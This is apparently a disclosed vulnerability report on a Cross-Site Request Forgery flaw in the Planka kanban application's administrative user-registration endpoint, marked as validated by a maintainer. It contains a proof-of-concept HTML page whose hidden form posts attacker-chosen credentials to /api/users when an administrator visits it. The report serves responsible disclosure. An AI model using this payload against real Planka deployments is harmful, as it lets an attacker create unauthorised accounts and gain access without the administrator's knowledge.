Cross-Site Request Forgery in plankanban/planka


Reported on

Aug 4th 2022


The administrative /api/users registration endpoint is vulnerable to an Cross-Site Request Forgery attack due the lack of any kind of anti-CSRF token verification.

Proof of Concept

  1. 1 - An authenticated administrator visits an attacker-controllable website, in this case the PoC file.
  2. 2 - When the page loads, a new account will be created using the attacker chosen credentials.
        <script>history.pushState('', '', '/')</script>
        <form action="http://localhost:3000/api/users" method="POST">
        <input type="hidden" name="action" value="post" />
        <input type="hidden" name="email" value="" />
        <input type="hidden" name="password" value="password" />
        <input type="hidden" name="name" value="attacker-name" />
        <input type="hidden" name="username" value="attacker-username" />
        <input type="submit" value="Submit request" />


An attacker can gain access to the platform via the newly created account without the administrator knowledge.

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Maksim Eltyshev validated this vulnerability 2 months ago
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